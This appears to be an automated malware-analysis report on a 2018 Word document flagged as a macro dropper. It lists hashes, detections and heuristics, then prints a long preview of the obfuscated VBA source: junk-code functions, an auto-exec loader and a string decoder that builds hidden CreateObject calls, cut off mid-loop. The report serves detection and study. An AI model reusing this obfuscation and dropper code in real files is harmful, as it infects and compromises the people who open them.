Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fcdb00c3812a3e9c…

MALICIOUS

Office (OLE)

208.5 KB Created: 2018-06-07 07:03:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: ea83cf48d08a6ac076b57801226e0b79 SHA-1: f504f2f1fcc03093e5751af4191396db283d91fb SHA-256: fcdb00c3812a3e9c65de5101ad9b58b9921cf3a5559c9986c302e150644a0e08
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Office document containing obfuscated VBA macros. The macros are designed to automatically execute upon opening, leveraging CreateObject to download and save a file to disk, which is then executed. This behavior is indicative of a dropper, aiming to fetch and run a secondary payload.

Heuristics 9

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            hAKhsX = UQWuG.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set vkdCT = CreateObject(wHqQCMT("WPSdcSrGispgtj.?SPh.ePl?l["))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set vkdCT = CreateObject(wHqQCMT("WPSdcSrGispgtj.?SPh.ePl?l["))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 58504 bytes
SHA-256: c3c1da281697849e1a25953584fed37ed04c3b702cec3849ea78e391cc921c78
Detection
ClamAV: No threats found
Obfuscation or payload: likely
591 of 916 identifiers look randomly generated (e.g. 'hdPoSvzVBqLMSVgpHfgeCbTxCcoQAnkIhYPxOoTZ') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function NQEgul(cmiIxR As Double, sdhQjAo As Boolean, fSvcePw As Integer, mDXYMC As Integer, KDuPvu As Integer) As String
    zHaQMj = Space(19)
    QNQwPRs = Right("CHG(e?.XgYp^lshCcxWB", 4)
    QNQwPRs = LTrim("u)e.HhHxxpzpb!CO!H%")
    GkoFktQT = StrReverse("skDSvuPmhlPVNfDx")
    zHaQMj = Right("DY)ec-.vPBXv]a$.)Y*", 4)
    GkoFktQT = UCase("$ZTHBgrL?tKN.VM$Or")
    ZURgv = 280 + 716 + 1776
    upuRW = StrReverse("pRkwUtWp?r")
    MCUha = StrReverse("maC(vYZ@!BX")
    GkoFktQT = LTrim("p&FaSADe&aMbs")
    ZURgv = LTrim("FZcJ t*!ytb.V Uet")
    GkoFktQT = UCase("ffFuwY^-hWCs")
    DWoAsY = StrReverse("dm Y_ h%F-wku")
    For FWcEgQ = 0 To 70
        kPqahzyv = Right("UfD$Fw#r]T@", 2)
        ZURgv = Space(15)
        XbFpLix = 493 + 160 + 653
        MCUha = 576 - 1691 - 524
        DWoAsY = StrReverse("_OJV*rX!f#@JjD#!e!eK")
        ZgNloOG = 893 - 1520 - 1008
    Next FWcEgQ

    jGfER = "GMwVvSM&^&YA" + "ZuM&]BiTKvlL" + "aCQrugrup!"
    upuRW = 1899 + 634 + 1337
    jGfER = "fv!hJrTZ@iI" + "e_qeQdwpoAFLa]ci " + "nZ$.F!IknXF*kmlz"
    XbFpLix = 514 + 492 + 544
    GkoFktQT = "STos*lvJBb " + " m&LH![cl_eW" + "y^v@vLdyEpQWj"
    upuRW = UCase("qd^&gqyUFNax.uPDr")
    upuRW = Right("@#JmVOq[FGBtzTruX*P", 4)
    GkoFktQT = 1572 + 1911 + 1738
    While PzbCZZ < 201
        GkoFktQT = Space(16)
        QNQwPRs = StrReverse(")q*Ie@HNeD??Tw")
        QNQwPRs = Space(17)
        GkoFktQT = "IvtGHK%.V]PV" + "QJ)IUyWLfd^dlS.Z!R" + "lq-VtH!P)qtFnnLY Kyu"
        UibgTeZp = RTrim("UILv#aIQ$h&f")
        kPqahzyv = StrReverse("sRrDFwYn*uzB%d")
        upuRW = Space(17)
        GkoFktQT = Space(18)
        DWoAsY = 190 + 237 + 1351
        PzbCZZ = PzbCZZ + 2
    Wend

    ZgNloOG = StrReverse("li.yxBgREs(je_yUiwqs")
    GkoFktQT = Space(18)
    ZURgv = StrReverse("?MFQnqq@$VaeXP")
    NQEgul = "gcsOzMNiUlTsARfMjqAXsVbwYn"
End Function

Private Sub xDmLZv(WryVIk As Boolean, ZtFAEHJ As String, uFOoZU As Boolean, ETIdCTc As Double)
    QNQwPRs = Left("C_HmmdzQHauCGqSpw", 4)
    QNQwPRs = RTrim("sxAKkYC[ltSZ@_AnMoGd")
    MCUha = "hp)L-bN QEe K[vIR" + "MJE__wqzmm(.HgP&(Q" + "g@Viy%@W@JCi"
    While whNKZK < 86
        upuRW = Left("AkYeQ)iLQyH%_EJkJNQ", 4)
        GkoFktQT = Right("X?ba?Dp]nt", 2)
        upuRW = Space(18)
        whNKZK = whNKZK + 3
    Wend

    ZgNloOG = 1017 + 1068 + 1416
    DWoAsY = Right("KHKGB]v^GVo*[", 5)
    ZgNloOG = UCase("JbLUiEtK#%SW(S")
    upuRW = StrReverse("JWs%bSE)E(bk*mUfHVp")
    upuRW = StrReverse("(]e-vd.jSNXv-")
    GkoFktQT = Space(14)
    zHaQMj = Right("HjCC@kkTZRQ", 3)
    While xgalqH < 102
        UibgTeZp = UCase("#VK-faRa(?gdb")
        kPqahzyv = StrReverse("gTkSIkeRGwlsRSOHxX")
        upuRW = StrReverse("DvruE_dP(Lbxxijiho")
        xgalqH = xgalqH + 1
    Wend

    kPqahzyv = 181 + 445 + 1317
    For yBtLiq = 0 To 311
        ZURgv = 1229 + 1721 + 1936
        ZgNloOG = StrReverse("aMT!F$Kt*OsaEKMCP")
        kPqahzyv = LTrim("b%XudInS Zv%MWUd")
        MCUha = "wZQ&KUZmudOdUP?" + "eWK^xMrPVOQdP" + "oeEWhV$SEm"
        zHaQMj = StrReverse("@&cknbrlwwqCiD_mY^J&")
        XbFpLix = Left("EBTI%NVRiScFjeN", 3)
        MCUha = LTrim("]Bg)gwUA)O-OW%P$oY")
    Next yBtLiq

    jGfER = RTrim("qs]_CTiROPep")
    jGfER = Space(14)
    DWoAsY = "A&wjOBJ^RMkfzPuUh" + "#LUxBFcYCng%df.p$G" + "Ap%i_JAw#!(vH"
    jGfER = UCase("SbS?sFky?ws")
    While sYYZjT < 107
        kPqahzyv = "@!DWQk&iEj" + "qhPWpWiSq]d%]zKfpFyn" + "nA@nhlFT]_uX"
        jGfER = 561 - 1939 - 1342
        QNQwPRs = UCase("Q^Yp#wDCzCNlcO.")
        ZURgv = Right("jESyF_)_#pD!rKVAXDEm", 3)
        jGfER = UCase("t[FQqo_*nJ_re")
        GkoFktQT = RTrim("Rp%Rr$RjyIb ")
        jGfER = RTrim("OQq)cGezRJpFK")
        jGfER = Left("DmcvAFtw[#]", 3)
        ZURgv = Space(17)
        jGfER = Left("lB?gPBno&!rMRE", 3)
        sYYZjT = sYYZjT + 2
    Wend

    upuRW = "FwNTNFlxX@#X^$E Dkbi" + "YrTg*lLgg*M&TdSJXAM" + "[Nl$hnEREQyqzmrOmNLS"
    For wwYVWy = 0 To 242
        QNQwPRs = StrReverse("#SobCrImromOqL")
        upuRW = Left("cF-e)?d)Sh&KIC#g", 5)
        DWoAsY = 1872 - 649 - 557
        GkoFktQT = UCase("[CY%h!nym$")
        UibgTeZp = LTrim("hY)jsLtZ-TNrh@[hixO")
        ZgNloOG = 133 + 570 + 261
        XbFpLix = Left("iPPjRq-JVw.%F(nbtla(", 2)
        ZgNloOG = StrReverse("XlxC.^C$MziNu@B$t")
    Next wwYVWy

    ZgNloOG = StrReverse("q^S-$TU t_rX@pKcE?b")
    zHaQMj = Space(17)
    QNQwPRs = Left(" U-xeDMs*chIhYA-urqA", 4)
    jGfER = StrReverse("UUIz@CVl*Sax&f[kVz")
    UibgTeZp = UCase(")bu]ocevCMHwbPX")
    UibgTeZp = LTrim("?cgPs!VGPZ^o%SmNeE!I")
    MCUha = Right("Zspduz @*SMzPO", 3)
End Sub

Private Function ydENaE(ltAYFr As Boolean, jvBvgI As Boolean, GBexODt As Boolean, YJcPVn As Integer, kTLKVm As String) As String
    zHaQMj = Right("^-fq@XUPW*-#b($ch", 3)
    jGfER = UCase("IjCYHBHq)uVw@g.")
    zHaQMj = StrReverse("sb_SDgRR)HT^@nif*y")
    jGfER = 185 - 181 - 1880
    DWoAsY = StrReverse("wWWATL!mY]T")
    While HpBetH < 313
        GkoFktQT = Left("zZBIF(DhB (ETxDGgyC", 5)
        MCUha = Right("Vv*BlhMkqCl#gKlzJ", 4)
        QNQwPRs = Space(12)
        HpBetH = HpBetH + 1
    Wend

    jGfER = UCase("*$VTL!_AVdHv*")
    For lwmtcc = 0 To 118
        QNQwPRs = Right("C@j NmSntdNDsHX^Xq", 3)
        QNQwPRs = StrReverse("@Y?FyZKNu?O")
        DWoAsY = UCase("F$SMXPm]-xI[&( uxZ@")
        XbFpLix = Right("C-un)ZAImFy^JR*Jy]t", 3)
        ZgNloOG = Right("IyYrJ!bUg)Oe_AUNxDcu", 5)
        upuRW = 1378 - 375 - 241
        jGfER = UCase("aji%?MbQ)yydSWc")
    Next lwmtcc

    DWoAsY = Right("OlVgiqm!UkNcv@ZII", 3)
    UibgTeZp = Left("_gTa[qXAZG!z", 4)
    UibgTeZp = RTrim("qVbzSQTEH?X%aVq?")
    QNQwPRs = Left("I_HMgrhCOzO )y^a^*!", 5)
    GkoFktQT = UCase("bhLFoNl&mCRP hGX-")
    UibgTeZp = LTrim("nRIjrp.##S@OMh-")
    For avJDJS = 0 To 62
        DWoAsY = UCase(".xTISS@C cwh&mLBG_")
        QNQwPRs = Space(11)
        DWoAsY = Left("JV@ULHvrO%iv", 3)
        zHaQMj = 231 - 1522 - 130
        UibgTeZp = UCase("aM!ftdkmuYdFnZQw&g")
    Next avJDJS

    jGfER = 369 - 1163 - 1168
    ZgNloOG = UCase("##F^g&tXdqSvu((a")
    ZURgv = 994 + 1377 + 1243
    XbFpLix = "GXe@vw%zLEKbLu yzrk" + "LSRIsCqcVI" + "!xZSQUEvcJ YdIHP"
    ZURgv = Right("z?lWy&sy *retKU", 5)
    GkoFktQT = "s?JlZA&sg&YO" + "Brzt$*S@&nDTkr)r" + "GuCjSpS_#tP(rgA"
    UibgTeZp = 198 - 1287 - 634
    MCUha = Space(15)
    UibgTeZp = Space(4)
    ZgNloOG = Right("lyYNq$FPHFF$PNDvrdJ&", 4)
    UibgTeZp = Left("J KfWzDwu*wtdM*hwH", 3)
    While hoaZDN < 78
        upuRW = RTrim("W]I[J&[SA.Wx")
        ZURgv = RTrim("QphILoAOwH#dohJ@")
        hoaZDN = hoaZDN + 1
    Wend

    UibgTeZp = RTrim("BIbBGagcINmJ#c@fxE")
    MCUha = Right("T@-L-?raqQjtwPEVr", 2)
    QNQwPRs = Left("nmZw.aGy[e", 5)
    upuRW = 849 + 206 + 729
    jGfER = StrReverse("fyKNnd#b?V")
    ydENaE = "fjoagCbcGGBIuILUecYtyueVGxpBztfL"
End Function

Private Sub NlTBvX(sCRkhN As Boolean)
    upuRW = Right("_XCVN?H LqM(q[F#FU@", 5)
    upuRW = UCase("]^XeyiGNZjfa?m")
    zHaQMj = 519 + 788 + 934
    jGfER = Space(17)
    QNQwPRs = 1481 + 649 + 1804
    DWoAsY = Left("&d!Qh(G[#f_pp", 2)
    QNQwPRs = LTrim("XG%NAkoycqL[vRi*")
    XbFpLix = LTrim("bBQwL?caEzutD]S")
    GkoFktQT = LTrim("RyR!KYS%YG")
    QNQwPRs = Space(6)
    kPqahzyv = "vRa[JE*IGgGzPxbex" + "$N@$O_AxNp$XIFf" + "f%dnq(IPLTBe-wwy"
    UibgTeZp = Left("W-NKaK[Po[]", 5)
    ZURgv = StrReverse("fSg-%OtmGYGYN)E")
    zHaQMj = StrReverse("p-AfNPoN%f")
    jGfER = 1492 - 1744 - 1855
    XbFpLix = UCase("e-VQuRRzR^]!kS#)W")
    ZgNloOG = 1176 - 1783 - 420
    QNQwPRs = LTrim("eA]Z-Uvls% abQ[y!t")
    ZgNloOG = RTrim("#QB*kJu%%P_u(GG@")
    For lzrGGi = 0 To 201
        kPqahzyv = Left("POSA.UdcIKX?we.[ZLC", 5)
        XbFpLix = Space(6)
        upuRW = RTrim("yMZXfBO?B(hi E$rq?I")
        MCUha = 1872 - 214 - 705
        GkoFktQT = 991 + 1774 + 1008
        jGfER = Space(2)
        ZgNloOG = Right("sTGyWc@zr[ZaAw%", 4)
        QNQwPRs = UCase("&Gr)l kbqHbC$]gob@T")
        XbFpLix = RTrim("k_IXMfBihlIbRHyq")
    Next lzrGGi

    XbFpLix = Space(8)
    XbFpLix = StrReverse("tKE#IYsfzxa)*A]@")
    zHaQMj = "@sOhKnKlRVewS!QZ" + "djatu(&Ytx" + "yERjKXZas-(ZrT"
    zHaQMj = 607 - 379 - 1802
    ZURgv = 1934 - 475 - 1056
    ZURgv = RTrim("@PR&z (RXMBtHN")
    zHaQMj = Space(5)
    kPqahzyv = Space(12)
    ZURgv = 467 - 1491 - 1991
    jGfER = StrReverse("vlfxbcc TFXv(slrol(")
    XbFpLix = StrReverse("oL!RZ.]*PvM)F")
    ZURgv = Right("@l@^XJ#aK_Zr", 5)
End Sub

Public Function wHqQCMT(wqkHqzW As String) As String
upuRW = LTrim("B^?!Gv)xL-UpdGeS!(m)")
UibgTeZp = 520 - 1836 - 780
For IxTrjb = 0 To 232
    kPqahzyv = Space(10)
    ZgNloOG = RTrim("KLw%mqdWu@ GzZ[Pe!qB")
Next IxTrjb
For gjePIi = 0 To 61
    ZURgv = "urhO^exKYjuyg^m)" + "TZxWva*YO@lo.o" + "IYJwSsjF(MyhV@VH"
    ZgNloOG = StrReverse("GREyfXl!D__TH*xBKo")
    kPqahzyv = UCase("E.dCisv&ScAaBd$")
    ZURgv = "o)DsYVph_k&!OQTZV " + "GfYc#^Lnz*c?" + "BO-Pck]iLlqs"
    upuRW = StrReverse("jbLrGhLVw!__sc(_uT")
    QNQwPRs = Left("Yiqr%pdQE_x-k)XCrt!O", 2)
    jGfER = 1005 - 646 - 110
    ZURgv = Left("[[NEw!BdHg xpDNOv^E", 2)
Next gjePIi
    Dim SGyKdd() As Byte
    QNQwPRs = StrReverse("xTKOARxhmxsK")
    Dim NeiyExsq(1000) As Byte
    JNFfCpu = 0
    upuRW = StrReverse(" Y-Lex(Oy!Qst")
    For FoRiBF = 0 To 88
        ZgNloOG = StrReverse("K--M_stm(Gc%hbHt]Mv")
        upuRW = 441 + 1599 + 541
        ZURgv = StrReverse("-JwoURrl (lj^.laz")
    Next FoRiBF
    QNQwPRs = RTrim("Ze(nkQTV.HotTcwWsoLp")
    DWoAsY = UCase("b_y^N!PNNB")
    upuRW = Left("**.W RU_jacDb?PD(TR", 4)
    SGyKdd = StrConv(wqkHqzW, vbFromUnicode)
    QNQwPRs = 385 - 1759 - 1782
    kPqahzyv = 1634 + 564 + 758
    MCUha = Space(4)
    While RDBUAH < 237
        MCUha = RTrim("n&Bvs[qjDccPnH*Z")
        ZURgv = "l_RWzKA@?YMo)YWEOhE" + "gl*lKM$I%l" + "^zdsatcGYZlNApW"
        XbFpLix = UCase("U)antMgPGiu%ND)")
        zHaQMj = RTrim(")RZVfX?OS$VYji?lB)W")
        upuRW = StrReverse("bfTCH@i?[^NfPTv[n")
        RDBUAH = RDBUAH + 1
    Wend
    For DSrnRq = 0 To UBound(SGyKdd) - 1
    zHaQMj = Space(10)
    DWoAsY = Space(9)
        If (DSrnRq Mod 2 = 0) Then
        ZgNloOG = Right("^e?JIErFBKLa", 2)
        DWoAsY = Left("UU]AoNkGm^^uN[Thmvb", 4)
        For pwABoe = 0 To 384
            UibgTeZp = LTrim("vpGsBG?acILTF@)GH_?")
            ZURgv = StrReverse("ww&aZ-.#SZiAIdE&r")
            XbFpLix = Left("-rvk*dLFTNTHJZ&?W)T", 4)
            DWoAsY = StrReverse("J.nv?I$C%#")
            ZURgv = StrReverse("dXLv_#[FyWLfj")
            jGfER = Space(11)
            UibgTeZp = 1432 - 1819 - 1505
            MCUha = StrReverse("c-TV*K[TX]BtNbEJcR")
            QNQwPRs = UCase("]l&Mopsm.^Mnd@jg^NJR")
        Next pwABoe
        For MwhHGZ = 0 To 82
            zHaQMj = StrReverse("lfhm^PKMVF-dIhIL")
            GkoFktQT = 1365 - 289 - 779
        Next MwhHGZ
        UibgTeZp = Right("_ZH#kI)!?q_#P", 3)
            NeiyExsq(JNFfCpu) = SGyKdd(DSrnRq)
            kPqahzyv = Space(17)
            MCUha = 1293 + 315 + 1106
            ZURgv = StrReverse("djQmU_h_vkY")
            JNFfCpu = JNFfCpu + 2 - 1
            For GPMHXb = 0 To 196
                GkoFktQT = Left("YhXRT$VEbkz", 5)
                QNQwPRs = StrReverse("^Z#jIn_MXzxuS&m[O).]")
                DWoAsY = LTrim("qujB! aYQJkpB")
                ZURgv = Left(" q.wN%&UEaS", 4)
                XbFpLix = Left("e?PGcZX[)diY zfo", 5)
                upuRW = 1517 + 705 + 995
                GkoFktQT = LTrim("mR(X(HTNwI?d")
                kPqahzyv = 1631 - 1582 - 921
            Next GPMHXb
        End If
        upuRW = 100 - 1663 - 124
        QNQwPRs = StrReverse("@LXiHFlMni[&dWauT")
        For dFySJE = 0 To 256
            QNQwPRs = Right("ZX)of)?IK_M_C[?KTSZr", 2)
            ZURgv = UCase("*_zAAkMjRCei$Vqy")
            QNQwPRs = Left("k^Oq%xpFZyYeCiX QaK", 3)
            DWoAsY = LTrim("NA] Xb-U$s")
            upuRW = 1021 - 327 - 1270
            kPqahzyv = 388 - 1175 - 1498
            MCUha = Right("_R!YRdh(.sT*k?&dT*S", 5)
            upuRW = 396 - 334 - 369
        Next dFySJE
        While KcFoPc < 57
            ZgNloOG = RTrim(" dJvBIpL.OVKduN")
            GkoFktQT = RTrim("?vBRXBQrUN?#q")
            UibgTeZp = "TAiGsgMWjTATJA" + "eiWMnZFPWO_] .UxG%.r" + "q#%*Y%%z kcB&)yOH@RH"
            kPqahzyv = Right("Z*HZoRbZVrT[npgWn%mz", 4)
            XbFpLix = UCase("_cO?u]GlLmz@!hDZV_")
            ZURgv = RTrim("G.g-ugzb@ MR!")
            kPqahzyv = Left("]%JWpHJ?[GDlDsK&AB.j", 2)
            kPqahzyv = "ehOF-&Xv_rk" + "CXu?ganVJDxPv-" + "mKgcvQ]@z*^"
            QNQwPRs = Right("iR]ckSPN@%_-oBZc", 5)
            upuRW = UCase("D.BR[B.&NQoWQcApBkh")
            KcFoPc = KcFoPc + 3
        Wend
    Next DSrnRq
    kPqahzyv = "M-su.lkz^.LaHkdT" + "F_n..gy^.POEq" + "@OSe(^uLL%]vGwKm!"
    ZURgv = Space(5)
    While qNQXrp < 382
        MCUha = UCase("wM!xGFlfcp]bi!Jyk)WG")
        ZgNloOG = "vlc^SJ*vWGvcgS_a" + "^k[iuw#vW@pxRxqce" + "Lbj.PUvZHRfYwP@KNk"
        XbFpLix = 435 + 1968 + 522
        upuRW = Right("$brvAqUVy?B?SY", 3)
        ZgNloOG = 226 + 895 + 1874
        GkoFktQT = 1988 - 1298 - 554
        MCUha = Space(4)
        ZgNloOG = 523 + 1289 + 1561
        kPqahzyv = Right("nn[*u!StNNOgS", 2)
        QNQwPRs = RTrim("fLxR(V?!uJrg.(wg")
        qNQXrp = qNQXrp + 3
    Wend
    upuRW = RTrim("GbVFX .QuLUp#dZ")
    wHqQCMT = StrConv(NeiyExsq, vbUnicode)
End Function
Private Function DMcCFF(hmmvtM As Boolean, GgDAFD As Integer, nwinKD As Double, PzDgwhw As Integer, XYMkix As String) As String
    GkoFktQT = Right("-UAEeci@DZ##ba", 4)
    GkoFktQT = StrReverse("XJizXCfjUj")
    While HOmuYY < 160
        GkoFktQT = Space(19)
        DWoAsY = Left("Rl)%vzf )l", 5)
        QNQwPRs = RTrim("KPVMg(Q]aG*w&")
        jGfER = 1469 + 461 + 882
        XbFpLix = Space(12)
        XbFpLix = Left("@aTNZUPuNZ.]nxbk&Xw", 2)
        GkoFktQT = Left("Sr^![UpsHrNV", 4)
        QNQwPRs = 1275 - 1296 - 543
        kPqahzyv = 1142 - 1749 - 1663
        zHaQMj = Right("eXwBGVO*JGQ$Eg", 2)
        HOmuYY = HOmuYY + 1
    Wend

    kPqahzyv = LTrim("Ume*p^*]x!BP)!")
    kPqahzyv = StrReverse("EszTN.vGNSeB@$")
    ZgNloOG = Space(10)
    kPqahzyv = Space(19)
    GkoFktQT = LTrim("w?Y zfTMm%(")
    upuRW = Left("p%mDZqVg]TwX", 2)
    jGfER = 1643 - 1299 - 1128
    UibgTeZp = "t_BHJbo$#Ep?d]n" + "YKPv_EqzWNbxi^" + "Kw?CZlfWGF-Jjw.Bx"
    For HhPmia = 0 To 130
        DWoAsY = "-q%EHKIlPgWu) wD" + "SDPI[!$)mcd]gPVwP" + "T.Rnqe%!VvzsOMkXOY"
        kPqahzyv = Right("GkBN_uH(tElL$BKOW%&", 5)
        upuRW = UCase("L..[Jm[h!oIuM")
        XbFpLix = "cTspE-cdAkgaIWn wpAc" + ")fwEy]VT_.c" + "mRpFtouwX%C.yfI[nc"
        DWoAsY = Right("&p##[)UIBunhNU%Gfw", 3)
        upuRW = Right("uj$r)qY!!GsEWHP_A", 4)
        ZURgv = StrReverse("wHrpxDlxBEWnRz")
        UibgTeZp = RTrim("M%cNe)kCbNzaBZjk!Fix")
        jGfER = RTrim("vb!kgTssZRV")
    Next HhPmia

    MCUha = RTrim("kWgs@$AbGzk?yDwZb-Bu")
    QNQwPRs = 1365 - 395 - 1639
    kPqahzyv = LTrim("haDhL@KY-SeYw")
    ZgNloOG = 1887 - 1059 - 1439
    ZgNloOG = Left("yPNYB]SR*fx@AHjrX", 4)
    ZURgv = UCase("z!mpv.aIncG")
    jGfER = 469 - 559 - 1591
    ZgNloOG = 1013 - 880 - 1400
    ZgNloOG = 1171 + 1877 + 945
    UibgTeZp = StrReverse("g?t( s%ZN_(Rv_")
    For yhsbps = 0 To 299
        QNQwPRs = UCase("UCdDXmzaaSiqOk!kgmV")
        QNQwPRs = Right("Ne)iV p^ZgOG", 5)
        ZURgv = 965 + 760 + 837
        DWoAsY = 450 + 1245 + 1222
        DWoAsY = Space(16)
        GkoFktQT = RTrim("VQ%*XdlvFTY@AT")
        ZgNloOG = StrReverse("?O$Ei&KbUx&V[qQyn")
    Next yhsbps

    ZgNloOG = Left("ZtQc^VG_xeuG$nARH@", 3)
    GkoFktQT = Left("eaL!dTlnD])@EJgt", 4)
    MCUha = LTrim("bO$cLRypzMrau@IC")
    QNQwPRs = StrReverse("BXc[**$SBcE@WOj*e%I")
    ZgNloOG = StrReverse(" qQu!Ck_$H?Dg")
    zHaQMj = RTrim("Q?oWdLpYnLpf")
    ZURgv = "wxGyAfk@yaWZ!" + "qOZW&Kd%d*%e[IllM$B" + "bJuk]FbN!SU"
    DMcCFF = "JjIneLyPLrPEbgRAlnebcLabqVSKME"
End Function

Private Function zJkhDi(GMIbjre As String, nsXbws As Double, fXetOc As Integer, keHyXJq As Boolean, LLDCObs As String) As String
    While xOHZcx < 78
        zHaQMj = Right("jc%(v_dbLdnZlqQR", 5)
        ZgNloOG = "?g ]ET.ed([O%g" + "C(VzOcBUE-ee" + "N]fQnz_[hT&kl^"
        zHaQMj = Left("uthyFYtnOhfGYpwB", 3)
        QNQwPRs = 1086 - 729 - 153
        MCUha = "c&HX*o#yhs&oWIyp" + "BoqZX]*leV.)*A_)W" + "yyX%LeVrtcP e"
        MCUha = 1095 - 1048 - 900
        zHaQMj = "kD]k%dC^Z&" + "DKzAbP%QJkHCPzp)Qt" + "M.ABKc[AewE&r$"
        xOHZcx = xOHZcx + 2
    Wend

    jGfER = RTrim("zf(pbd )Z.tBwq")
    XbFpLix = UCase("HyhDtemuUy")
    jGfER = 1095 + 1444 + 285
    While HXEhTQ < 181
        ZURgv = StrReverse("-@OW-Hyck&oGIO^?cU")
        ZgNloOG = UCase("%DSvxw JSdYisV..P")
        jGfER = Left("*HGJFnf[yNgHlQmV[R", 2)
        zHaQMj = Space(9)
        ZURgv = LTrim("Z hJQ(uqt)L")
        XbFpLix = 578 + 873 + 1601
        MCUha = UCase("Bsa(QA#B!WOL^v?Ft")
        XbFpLix = StrReverse("CVL?COe%c!-b*G-lsD")
        upuRW = Left("EbA^?ZZOfD", 5)
        HXEhTQ = HXEhTQ + 3
    Wend

    UibgTeZp = Right("PJAJMLSx]_jhuMTRwY", 5)
    While KmivQM < 98
        MCUha = LTrim("q]mICnTFrE$U")
        XbFpLix = UCase("H!MSo]*XXBqt[mJm#n.n")
        ZURgv = Right("^gq]Kv*VZGpJ(", 5)
        KmivQM = KmivQM + 1
    Wend

    For NstFkN = 0 To 210
        XbFpLix = 1367 - 1533 - 1575
        zHaQMj = RTrim("vZdRU.BbY@.P@G]o")
        XbFpLix = 1174 + 1911 + 902
    Next NstFkN

    XbFpLix = LTrim("@mWGRUnMAVA#j")
    ZURgv = Left("spNhp@%O$@)gaVyl[gv!", 2)
    ZURgv = StrReverse("wWvW_oehYn(^el]b?- ")
    XbFpLix = StrReverse("ZNkKxBNqk#")
    zHaQMj = LTrim("b%zCN-$ntqhSCubg?ko")
    jGfER = RTrim("xfI)CNP$u]gA$vA")
    QNQwPRs = StrReverse("zSb!BDt&^oB%.T%[YZ")
    QNQwPRs = RTrim("]gm%.U(zU%DF")
    QNQwPRs = 1500 - 1637 - 494
    jGfER = UCase("oK#qNlmUoFQr-")
    For OTgJnb = 0 To 133
        XbFpLix = Right("FDT#%AyX-fGW", 5)
        QNQwPRs = 738 - 1885 - 1026
        ZURgv = Space(2)
        UibgTeZp = 708 + 911 + 1600
    Next OTgJnb

    jGfER = "AhDVT^?LfqWXq$CT&?" + "HDrOEDn#!X$Rh@s" + ".ygq?B wnEnqq"
    While VBRCFq < 359
        upuRW = 624 - 617 - 946
        GkoFktQT = Left("gJQKrEf)iUhG", 5)
        QNQwPRs = Left("Wh]M!z&bF-Yj", 3)
        VBRCFq = VBRCFq + 3
    Wend

    MCUha = UCase("eG%xVv$*k.Ybw^Bb")
    For jNxslf = 0 To 225
        UibgTeZp = Right(".oEq@jLNWNgViu$M(e", 4)
        DWoAsY = 119 + 366 + 1184
        QNQwPRs = 1370 - 267 - 1926
    Next jNxslf

    kPqahzyv = Left("OUwnUMglXb#]O)*@M", 2)
    jGfER = StrReverse("MTVHZ$gJ#C")
    QNQwPRs = Left("LeKF(axQ*u$pcMe[ ", 2)
    zHaQMj = 1139 - 122 - 190
    ZgNloOG = LTrim(".te]HKvvZ[Ym*[DVmAmQ")
    UibgTeZp = RTrim("@%NCc)g*[-FSNP%&)")
    QNQwPRs = 1052 + 991 + 1577
    jGfER = StrReverse("X_U.#wRN. nV")
    kPqahzyv = UCase("mMVneI.OYZj&CZ")
    While woxyGr < 348
        ZURgv = RTrim("p$]FMsy#V-NNwlI#p!DL")
        zHaQMj = LTrim("uRUtKjfR#.)")
        woxyGr = woxyGr + 1
    Wend

    upuRW = 1389 - 1803 - 1737
    GkoFktQT = Space(6)
    UibgTeZp = Left("@JH_Zh]UthSKz&KVESJl", 3)
    zJkhDi = "frmOvYPyXMqmfDChvlCdBqSANxgUOBqYuiXT"
End Function

Private Sub MRZRNr(NZrIWI As Boolean, XHPagBn As Boolean)
    ZURgv = UCase("Phigsg]&rLhYyGypq(")
    DWoAsY = LTrim("%DkQwumZ.@g")
    XbFpLix = Right("Bw-fCPIigv CX]", 3)
    QNQwPRs = 1319 - 1906 - 105
    ZURgv = StrReverse("#eaMzooDD?")
    QNQwPRs = 1815 - 888 - 956
    UibgTeZp = UCase("UkNvl?Zvx)(n")
    kPqahzyv = StrReverse("E_]EuKP!wk*?perbFQ$E")
    While JzyIqz < 24
        kPqahzyv = "kq[PDiYDU@EjZ[]ZpBrr" + "HOX(%kF._!bYTpsNjql*" + ".HLvipLR!Grq"
        GkoFktQT = Space(10)
